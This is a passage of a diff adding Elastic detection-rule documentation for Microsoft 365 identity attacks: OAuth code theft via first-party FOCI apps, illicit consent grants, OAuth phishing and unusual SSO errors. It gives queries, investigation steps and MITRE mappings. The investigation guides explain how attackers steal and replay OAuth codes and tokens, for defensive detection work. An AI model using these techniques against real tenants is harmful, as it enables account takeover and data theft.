attempt. +- Mobile access may also result in false positives, as users may log in from various locations while on the go. + + +*Response and remediation* + + +- Investigate the login attempt further by checking for any additional context or related events that may provide insight into the user's behavior. +- If the login attempt is deemed suspicious, consider implementing additional security measures, such as requiring multi-factor authentication (MFA) for logins from unusual locations. +- Educate users about the risks of accessing corporate resources from unfamiliar locations and the importance of using secure connections (e.g., VPNs) when doing so. +- Monitor for any subsequent login attempts from the same location or IP address to identify potential patterns of malicious activity. +- Consider adding exceptions to this rule for the user or source application ID if the login attempts are determined to be legitimate and not a security concern. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:o365.audit and + event.provider:AzureActiveDirectory and + event.action:UserLoggedIn and + event.outcome:success and + o365.audit.Target.Type:(0 or 10 or 2 or 3 or 5 or 6) and + o365.audit.UserId:(* and not "Not Available") and + source.geo.country_iso_code:* and + not o365.audit.ApplicationId:( + 29d9ed98-a469-4536-ade2-f981bc1d605e or + 38aa3b87-a06d-4817-b275-7a316988d93b or + a809996b-059e-42e2-9866-db24b99a9782 + ) and not o365.audit.ExtendedProperties.RequestType:( + "Consent:Set" or + "DeviceAuth:ReprocessTls" or + "Kmsi:kmsi" or + "Login:reprocess" or + "Login:resume" or + "MessagePrompt:MessagePrompt" or + "Saml2:processrequest" or + "SAS:EndAuth" or + "SAS:ProcessAuth" + ) and + not user_agent.original:(*iPhone* or *iPad* or *Android* or *PKeyAuth*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-identity-oauth-flow-by-first-party-microsoft-app-from-multiple-ips.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-identity-oauth-flow-by-first-party-microsoft-app-from-multiple-ips.asciidoc new file mode 100644 index 0000000000..ecf33e7600 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-identity-oauth-flow-by-first-party-microsoft-app-from-multiple-ips.asciidoc @@ -0,0 +1,257 @@ +[[prebuilt-rule-8-19-20-m365-identity-oauth-flow-by-first-party-microsoft-app-from-multiple-ips]] +=== M365 Identity OAuth Flow by First-Party Microsoft App from Multiple IPs + +Identifies sign-ins on behalf of a principal user to the Microsoft Graph or legacy Azure AD API from multiple IPs using first-party Microsoft applications from the FOCI (Family of Client IDs) group. Developer tools like Azure CLI, VSCode, and Azure PowerShell accessing these resources from multiple IPs are flagged, along with any FOCI application accessing the deprecated Windows Azure Active Directory from multiple IPs. This behavior may indicate an adversary using a phished OAuth authorization code or refresh token, as seen in attacks like ConsentFix where attackers steal localhost OAuth codes and replay them from attacker infrastructure. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 59m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://github.com/dirkjanm/ROADtools +* https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/ +* https://pushsecurity.com/blog/consentfix +* https://github.com/secureworks/family-of-client-ids-research + +*Tags*: + +* Domain: Cloud +* Domain: Email +* Domain: Identity +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Defense Evasion + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity OAuth Flow by First-Party Microsoft App from Multiple IPs* + + +This rule detects when the same user authenticates to Microsoft Graph or legacy Azure AD using FOCI applications from multiple IP addresses within a 30-minute window. This pattern is a strong indicator of OAuth code/token theft attacks like ConsentFix, where the victim completes the OAuth authorize flow on their device (first IP), and the attacker exchanges the stolen authorization code for tokens from their infrastructure (second IP). + +The rule aggregates events by user, application, and resource, requiring both `OAuth2:Authorize` and `OAuth2:Token` requests from at least 2 different IPs to fire - this indicates the code was generated on one IP and exchanged on another. + + +*Possible investigation steps* + + +- Review `o365.audit.UserId` to identify the affected user and determine if they are a high-value target. +- Analyze `Esql.source_ip_values` to see all unique IP addresses used within the 30-minute window. Determine whether these originate from different geographic regions, cloud providers (AWS, Azure, GCP), or anonymizing infrastructure (Tor, VPNs). +- Use `Esql.time_window_date_trunc` to pivot into raw events and reconstruct the full sequence of resource access events with exact timestamps. +- Check `Esql.source_as_organization_name_values` for unfamiliar ASN organizations that may indicate attacker infrastructure. +- Review `Esql.o365_audit_ApplicationId_values` to confirm which first-party application was used. +- Pivot to `azure.auditlogs` to check for device join or registration events around the same timeframe, which may indicate persistence attempts. +- Correlate with `azure.identityprotection` to identify related risk detections such as anonymized IP access or token replay. +- Search for additional sign-ins from the IPs involved across other users to determine if this is part of a broader campaign. + + +*False positive analysis* + + +- Developers or IT administrators working across environments (office, home, cloud VMs) may produce similar behavior. +- Users on VPN who switch servers or traveling between networks may show multiple IPs. +- Mobile users moving between cellular and WiFi networks during the time window. +- Consider correlating with device compliance status to distinguish managed vs. unmanaged access. + + +*Response and remediation* + + +- If confirmed unauthorized, immediately revoke all refresh tokens for the affected user via Entra ID. +- Remove any devices registered during this session by checking `azure.auditlogs` for `Add device` events. +- Notify the user and determine whether they may have shared an OAuth code via phishing. +- Block the attacker IPs at the perimeter and add to threat intel feeds. +- Implement Conditional Access policies to restrict OAuth flows for these applications to compliant devices and approved locations. +- Monitor for follow-on activity like lateral movement, privilege escalation, or data exfiltration via Graph API. + + +==== Setup + + + +*Setup* + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-o365.audit-* +| where + event.dataset == "o365.audit" and + event.action == "UserLoggedIn" and + source.ip is not null and + o365.audit.UserId is not null and + o365.audit.ApplicationId is not null and + o365.audit.UserType in ("0", "2", "3", "10") and + ( + /* Developer tools accessing Graph OR Legacy AAD */ + ( + o365.audit.ApplicationId in ( + "aebc6443-996d-45c2-90f0-388ff96faa56", + "29d9ed98-a469-4536-ade2-f981bc1d605e", + "04b07795-8ddb-461a-bbee-02f9e1bf7b46", + "1950a258-227b-4e31-a9cf-717495945fc2" + ) and + o365.audit.ObjectId in ( + "00000003-0000-0000-c000-000000000000", + "00000002-0000-0000-c000-000000000000" + ) + ) or + /* Any FOCI app accessing Legacy AAD only */ + ( + o365.audit.ApplicationId in ( + "00b41c95-dab0-4487-9791-b9d2c32c80f2", + "1fec8e78-bce4-4aaf-ab1b-5451cc387264", + "26a7ee05-5602-4d76-a7ba-eae8b7b67941", + "27922004-5251-4030-b22d-91ecd9a37ea4", + "4813382a-8fa7-425e-ab75-3b753aab3abb", + "ab9b8c07-8f02-4f72-87fa-80105867a763", + "d3590ed6-52b3-4102-aeff-aad2292ab01c", + "872cd9fa-d31f-45e0-9eab-6e460a02d1f1", + "af124e86-4e96-495a-b70a-90f90ab96707", + "2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8", + "844cca35-0656-46ce-b636-13f48b0eecbd", + "87749df4-7ccf-48f8-aa87-704bad0e0e16", + "cf36b471-5b44-428c-9ce7-313bf84528de", + "0ec893e0-5785-4de6-99da-4ed124e5296c", + "22098786-6e16-43cc-a27d-191a01a1e3b5", + "4e291c71-d680-4d0e-9640-0a3358e31177", + "57336123-6e14-4acc-8dcf-287b6088aa28", + "57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0", + "66375f6b-983f-4c2c-9701-d680650f588f", + "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223", + "a40d7d7d-59aa-447e-a655-679a4107e548", + "a569458c-7f2b-45cb-bab9-b7dee514d112", + "b26aadf8-566f-4478-926f-589f601d9c74", + "c0d2a505-13b8-4ae0-aa9e-cddd5eab0b12", + "d326c1ce-6cc6-4de2-bebc-4591e5e13ef0", + "e9c51622-460d-4d3d-952d-966a5b1da34c", + "eb539595-3fe1-474e-9c1d-feb3625d1be5", + "ecd6b820-32c2-49b6-98a6-444530e5a77a", + "f05ff7c9-f75a-4acd-a3b5-f4b6a870245d", + "f44b1140-bc5e-48c6-8dc0-5cf5a53c0e34", + "be1918be-3fe3-4be9-b32b-b542fc27f02e", + "cab96880-db5b-4e15-90a7-f3f1d62ffe39", + "d7b530a4-7680-4c23-a8bf-c52c121d2e87", + "dd47d17a-3194-4d86-bfd5-c6ae6f5651e3", + "e9b154d0-7658-433b-bb25-6b8e0a8a7c59" + ) and + o365.audit.ObjectId == "00000002-0000-0000-c000-000000000000" + ) + ) +| eval + Esql.time_window_date_trunc = date_trunc(30 minutes, @timestamp), + Esql.oauth_authorize_user_id_case = case( + o365.audit.ExtendedProperties.RequestType == "OAuth2:Authorize" and o365.audit.ExtendedProperties.ResultStatusDetail == "Redirect", + o365.audit.UserId, + null + ), + Esql.oauth_token_user_id_case = case( + o365.audit.ExtendedProperties.RequestType == "OAuth2:Token", + o365.audit.UserId, + null + ) +| stats + Esql.source_ip_count_distinct = count_distinct(source.ip), + Esql.source_ip_values = values(source.ip), + Esql.o365_audit_ApplicationId_values = values(o365.audit.ApplicationId), + Esql.source_as_organization_name_values = values(source.`as`.organization.name), + Esql.oauth_token_count_distinct = count_distinct(Esql.oauth_token_user_id_case), + Esql.oauth_authorize_count_distinct = count_distinct(Esql.oauth_authorize_user_id_case) + by + o365.audit.UserId, + Esql.time_window_date_trunc, + o365.audit.ApplicationId, + o365.audit.ObjectId +| keep + Esql.time_window_date_trunc, + Esql.source_ip_values, + Esql.source_ip_count_distinct, + Esql.o365_audit_ApplicationId_values, + Esql.source_as_organization_name_values, + Esql.oauth_token_count_distinct, + Esql.oauth_authorize_count_distinct +| where + Esql.source_ip_count_distinct >= 2 and + Esql.oauth_token_count_distinct > 0 and + Esql.oauth_authorize_count_distinct > 0 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-identity-oauth-illicit-consent-grant-by-rare-client-and-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-identity-oauth-illicit-consent-grant-by-rare-client-and-user.asciidoc new file mode 100644 index 0000000000..06cd25cee5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-identity-oauth-illicit-consent-grant-by-rare-client-and-user.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-20-m365-identity-oauth-illicit-consent-grant-by-rare-client-and-user]] +=== M365 Identity OAuth Illicit Consent Grant by Rare Client and User + +Identifies an Microsoft 365 illicit consent grant request on-behalf-of a registered Entra ID application. Adversaries may create and register an application in Microsoft Entra ID for the purpose of requesting user consent to access resources in Microsoft 365. This is accomplished by tricking a user into granting consent to the application, typically via a pre-made phishing URL. This establishes an OAuth grant that allows the malicious client applocation to access resources in Microsoft 365 on-behalf-of the user. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/midnight-blizzard-microsoft-breach-analysis-and-best-practices +* https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/detect-and-remediate-illicit-consent-grants?view=o365-worldwide +* https://www.cloud-architekt.net/detection-and-mitigation-consent-grant-attacks-azuread/ +* https://docs.microsoft.com/en-us/defender-cloud-apps/investigate-risky-oauth#how-to-detect-risky-oauth-apps +* https://learn.microsoft.com/en-us/office/office-365-management-api/office-365-management-activity-api-schema + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access +* Tactic: Credential Access + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity OAuth Illicit Consent Grant by Rare Client and User* + + +Adversaries may register a malicious application in Microsoft Entra ID and trick users into granting excessive permissions via OAuth consent. These apps can access sensitive Microsoft 365 data—such as mail, profiles, and files—on behalf of the user once consent is granted. This activity is often initiated through spearphishing campaigns that direct the user to a pre-crafted OAuth consent URL. + +This rule identifies a new consent grant to an application using Microsoft 365 audit logs. Additionally, this is a New Terms rule that will only trigger if the user and client ID have not been seen doing this activity in the last 14 days. + + +*Possible investigation steps* + + +- **Review the app in Entra ID**: + - Go to **Enterprise Applications** in the Azure portal. + - Search for the `AppId` or name from `o365.audit.ObjectId`. + - Review granted API permissions and whether admin consent was required. + - Check the `Publisher` and `Verified` status. + +- **Assess the user who granted consent**: + - Investigate `o365.audit.UserId` (e.g., `terrance.dejesus@...`) for signs of phishing or account compromise. + - Check if the user was targeted in recent phishing simulations or campaigns. + - Review the user’s sign-in logs for suspicious geolocation, IP, or device changes. + +- **Determine scope and risk**: + - Use the `ConsentContext_IsAdminConsent` and `ConsentContext_OnBehalfOfAll` flags to assess privilege level. + - If `offline_access` or `Mail.Read` was granted, consider potential data exposure. + - Cross-reference affected `Target` objects with known business-critical assets or data owners. + +- **Correlate additional telemetry**: + - Review logs from Defender for Cloud Apps (MCAS), Microsoft Purview, or other DLP tooling for unusual access patterns. + - Search for `AppId` across your tenant to determine how widely it's used. + + +*False positive analysis* + + +- Not all consent grants are malicious. Verify if the app is business-approved, listed in your app catalog, or commonly used by users in that role or department. +- Consent reasons like `WindowsAzureActiveDirectoryIntegratedApp` could relate to integrated services, though these still require verification. + + +*Response and remediation* + + +- **If the app is confirmed malicious**: + - Revoke OAuth consent using the https://learn.microsoft.com/en-us/graph/api/oauth2permissiongrant-delete[Microsoft Graph API]. + - Remove any related service principals from Entra ID. + - Block the app via the Conditional Access "Grant" control or Defender for Cloud Apps policies. + - Revoke refresh tokens and require reauthentication for affected users. + - Notify end-users and IT of the potential exposure. + - Activate your phishing or OAuth abuse response playbook. + +- **Prevent future misuse**: + - Enable the https://learn.microsoft.com/en-us/azure/active-directory/manage-apps/configure-admin-consent-workflow[Admin consent workflow] to restrict user-granted consent. + - Audit and reduce overprivileged applications in your environment. + - Consider using Defender for Cloud Apps OAuth app governance. + + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "o365.audit" + and o365.audit.Actor.Type: 5 + and event.action: "Consent to application." + and event.outcome: "success" + and o365.audit.Target.Type: (0 or 2 or 3 or 9 or 10) + and o365.audit.UserId: * + and o365.audit.ObjectId: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-identity-oauth-phishing-via-first-party-microsoft-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-identity-oauth-phishing-via-first-party-microsoft-application.asciidoc new file mode 100644 index 0000000000..cbee7f3791 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-identity-oauth-phishing-via-first-party-microsoft-application.asciidoc @@ -0,0 +1,197 @@ +[[prebuilt-rule-8-19-20-m365-identity-oauth-phishing-via-first-party-microsoft-application]] +=== M365 Identity OAuth Phishing via First-Party Microsoft Application + +Detects potentially suspicious OAuth authorization activity in Microsoft 365 where first-party Microsoft applications from the FOCI (Family of Client IDs) group request access to Microsoft Graph or legacy Azure AD resources. Developer tools like Azure CLI, Visual Studio Code, and Azure PowerShell accessing these resources are flagged, as they are commonly abused in phishing campaigns like ConsentFix. Additionally, any FOCI family application accessing the deprecated Windows Azure Active Directory resource is flagged since this API is rarely used legitimately and attackers target it for stealth. First-party apps are trusted by default in all tenants and cannot be blocked, making them ideal for OAuth phishing attacks. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-25m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-azure-monitor-sign-ins-log-schema +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://pushsecurity.com/blog/consentfix +* https://github.com/secureworks/family-of-client-ids-research + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity OAuth Phishing via First-Party Microsoft Application* + + +This rule detects OAuth authorization activity where FOCI (Family of Client IDs) applications access Microsoft Graph or legacy Azure AD resources. Adversaries exploit these trusted first-party apps in phishing campaigns like ConsentFix to steal authorization codes and exchange them for tokens from attacker infrastructure. The rule specifically looks for `OAuth2:Authorize` requests with `Redirect` status, which indicates the user was redirected after authorization and the OAuth code was exposed. + +The rule uses split detection logic: developer tools (Azure CLI, VSCode, PowerShell) accessing either Graph or legacy AAD are flagged, while any FOCI app accessing legacy AAD is flagged since this deprecated API is rarely used legitimately and attackers target it for stealth. + + +*Possible investigation steps* + + +- Review `o365.audit.UserId` to identify the impacted account and validate whether the user expected to authorize the application. +- Check `o365.audit.ActorIpAddress` for unexpected IPs, especially outside corporate ranges or from proxy/VPN networks. +- Examine `user_agent.original` and `o365.audit.DeviceProperties` for suspicious patterns (automation tools, headless browsers, unusual browser/OS combinations). +- Confirm `o365.audit.Target.ID` to identify the resource being accessed. Legacy AAD (`00000002-0000-0000-c000-000000000000`) access is unusual for most users. +- Review `o365.audit.ExtendedProperties.RequestType` and `ResultStatusDetail` - `OAuth2:Authorize` with `Redirect` indicates the OAuth code was exposed to the user. +- Look for subsequent `OAuth2:Token` events from different IPs using the same `o365.audit.UserId`, which indicates token exchange from attacker infrastructure. +- Pivot to `azure.graphactivitylogs` to check for follow-up Graph API activity (mailbox enumeration, file access) from unfamiliar locations. +- Correlate with `azure.signinlogs` for additional sign-in context and device details. + + +*False positive analysis* + + +- Developers or IT users intentionally using Visual Studio Code, Azure CLI, or Azure PowerShell to connect to Microsoft 365. +- Legitimate VS Code extensions that sync or query Graph API data (calendars, tasks, cloud-hosted notebooks). +- Enterprise automation or CI/CD pipelines using these tools with user-delegated permissions. +- Exclude known user agents and hosts that regularly use these applications against Graph. +- Whitelist specific source IPs or devices tied to developer machines. + + +*Response and remediation* + + +- Contact the user to confirm if they expected this login or may have shared an OAuth code via phishing page, Signal, or WhatsApp. +- If unauthorized, revoke all refresh tokens for the user and reset credentials. +- Review recent Microsoft Graph activity (email, file access, Teams) for signs of data exfiltration. +- Block or restrict future use of OAuth tokens from unknown apps or IPs via Conditional Access. +- Check `azure.auditlogs` for device registration events and remove any unauthorized registrations. +- Educate users about OAuth phishing techniques and the risks of sharing authorization codes. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "o365.audit" + and event.action: "UserLoggedIn" + and o365.audit.ExtendedProperties.RequestType: "OAuth2:Authorize" + and o365.audit.ExtendedProperties.ResultStatusDetail: "Redirect" + and o365.audit.UserType: ("0" or "2" or "3" or "5" or "6" or "10") + and ( + ( + o365.audit.ApplicationId: ( + "aebc6443-996d-45c2-90f0-388ff96faa56" or + "04b07795-8ddb-461a-bbee-02f9e1bf7b46" or + "1950a258-227b-4e31-a9cf-717495945fc2" + ) + and o365.audit.Target.ID: ( + "00000003-0000-0000-c000-000000000000" or + "00000002-0000-0000-c000-000000000000" + ) + ) or + ( + o365.audit.ApplicationId: ( + "00b41c95-dab0-4487-9791-b9d2c32c80f2" or + "1fec8e78-bce4-4aaf-ab1b-5451cc387264" or + "26a7ee05-5602-4d76-a7ba-eae8b7b67941" or + "27922004-5251-4030-b22d-91ecd9a37ea4" or + "4813382a-8fa7-425e-ab75-3b753aab3abb" or + "ab9b8c07-8f02-4f72-87fa-80105867a763" or + "d3590ed6-52b3-4102-aeff-aad2292ab01c" or + "872cd9fa-d31f-45e0-9eab-6e460a02d1f1" or + "af124e86-4e96-495a-b70a-90f90ab96707" or + "2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8" or + "844cca35-0656-46ce-b636-13f48b0eecbd" or + "87749df4-7ccf-48f8-aa87-704bad0e0e16" or + "cf36b471-5b44-428c-9ce7-313bf84528de" or + "0ec893e0-5785-4de6-99da-4ed124e5296c" or + "22098786-6e16-43cc-a27d-191a01a1e3b5" or + "4e291c71-d680-4d0e-9640-0a3358e31177" or + "57336123-6e14-4acc-8dcf-287b6088aa28" or + "57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0" or + "66375f6b-983f-4c2c-9701-d680650f588f" or + "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223" or + "a40d7d7d-59aa-447e-a655-679a4107e548" or + "a569458c-7f2b-45cb-bab9-b7dee514d112" or + "b26aadf8-566f-4478-926f-589f601d9c74" or + "c0d2a505-13b8-4ae0-aa9e-cddd5eab0b12" or + "d326c1ce-6cc6-4de2-bebc-4591e5e13ef0" or + "e9c51622-460d-4d3d-952d-966a5b1da34c" or + "eb539595-3fe1-474e-9c1d-feb3625d1be5" or + "ecd6b820-32c2-49b6-98a6-444530e5a77a" or + "f05ff7c9-f75a-4acd-a3b5-f4b6a870245d" or + "f44b1140-bc5e-48c6-8dc0-5cf5a53c0e34" or + "be1918be-3fe3-4be9-b32b-b542fc27f02e" or + "cab96880-db5b-4e15-90a7-f3f1d62ffe39" or + "d7b530a4-7680-4c23-a8bf-c52c121d2e87" or + "dd47d17a-3194-4d86-bfd5-c6ae6f5651e3" or + "e9b154d0-7658-433b-bb25-6b8e0a8a7c59" + ) + and o365.audit.Target.ID: "00000002-0000-0000-c000-000000000000" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-identity-unusual-sso-authentication-errors-for-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-identity-unusual-sso-authentication-errors-for-user.asciidoc new file mode 100644 index 0000000000..ec0c3768ce --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-identity-unusual-sso-authentication-errors-for-user.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-20-m365-identity-unusual-sso-authentication-errors-for-user]] +=== M365 Identity Unusual SSO Authentication Errors for User + +Identifies the first occurrence of SSO, SAML, or federated authentication errors for a user. These errors may indicate token manipulation, SAML assertion tampering, or OAuth phishing attempts. Modern adversaries often target SSO mechanisms through token theft, SAML response manipulation, or exploiting federated authentication weaknesses rather than traditional brute force attacks. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://techcommunity.microsoft.com/blog/microsoft-entra-blog/understanding-and-mitigating-golden-saml-attacks/4418864 +* https://www.semperis.com/blog/meet-silver-saml/ + +*Tags*: + +* Domain: Identity +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity Unusual SSO Authentication Errors for User* + + +SSO, SAML, and federated authentication mechanisms are critical infrastructure for modern identity access. Adversaries increasingly +target these systems through token manipulation, SAML response tampering, OAuth phishing, and exploitation of federated trust +relationships rather than traditional credential brute forcing. This detection identifies when a user experiences SSO-related +authentication errors that are unusual for their typical behavior, which may indicate an attacker attempting to abuse stolen tokens or manipulate +authentication flows. + + +*Possible investigation steps* + + +- Review the specific error code(s) in the `o365.audit.ErrorNumber` field to understand the nature of the authentication failure + (e.g., token signature failure, SAML assertion tampering, cross-tenant token misuse). Reference Microsoft's AADSTS error codes + at https://login.microsoftonline.com/error?code= for detailed descriptions. +- Examine the source IP address and geolocation of the authentication attempt - compare against the user's typical login patterns. +- Check for concurrent authentication activity from the same user - multiple SSO errors alongside successful logins may indicate + token replay or session hijacking attempts. +- Investigate recent OAuth application consent activity for this user - OAuth phishing campaigns often precede SSO manipulation attempts. +- Review the target application or service principal being accessed during the failed authentication to identify potential attacker objectives. +- Analyze the user's recent mailbox activity, particularly for phishing emails with OAuth consent links or suspicious authentication requests. +- Check for any recent changes to the user's federation settings, registered devices, or authentication methods. +- Correlate with Entra ID risky sign-in detections and risky user alerts for the same account. + + +*False positive analysis* + + +- First-time SSO setup: Users configuring SSO access to a new federated application may encounter initial authentication errors. + Validate whether the errors occurred during expected onboarding windows. +- Federation service outages: Widespread SSO errors affecting multiple users simultaneously often indicate infrastructure issues + rather than targeted attacks. Check for service health incidents in the same timeframe. +- Certificate rotation: Federated authentication certificate renewals can temporarily cause signature validation errors. Verify + if the errors align with planned certificate maintenance. +- Legitimate cross-tenant access: Users with business relationships across multiple tenants may encounter cross-tenant policy + errors during authorized access attempts. + + +*Response and remediation* + + +- If token manipulation or SAML tampering is suspected, immediately revoke all active sessions and refresh tokens for the affected user. +- Review and audit all OAuth application consents granted by the user - remove any suspicious or unrecognized applications. +- Enable Conditional Access policies requiring compliant devices and MFA for SSO authentication if not already enforced. +- If cross-tenant token misuse is detected, review and restrict external collaboration settings and cross-tenant access policies. +- For SAML assertion or signature errors, validate the integrity of federation trust certificates and metadata. +- Investigate whether the user's credentials have been compromised - enforce password reset if credential theft is suspected. +- Review Entra ID audit logs for unusual application registrations, service principal modifications, or federation setting changes. +- Escalate to the security operations team if evidence suggests active token theft, SAML Golden Ticket techniques, or OAuth phishing campaigns. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:o365.audit + and event.provider:AzureActiveDirectory + and 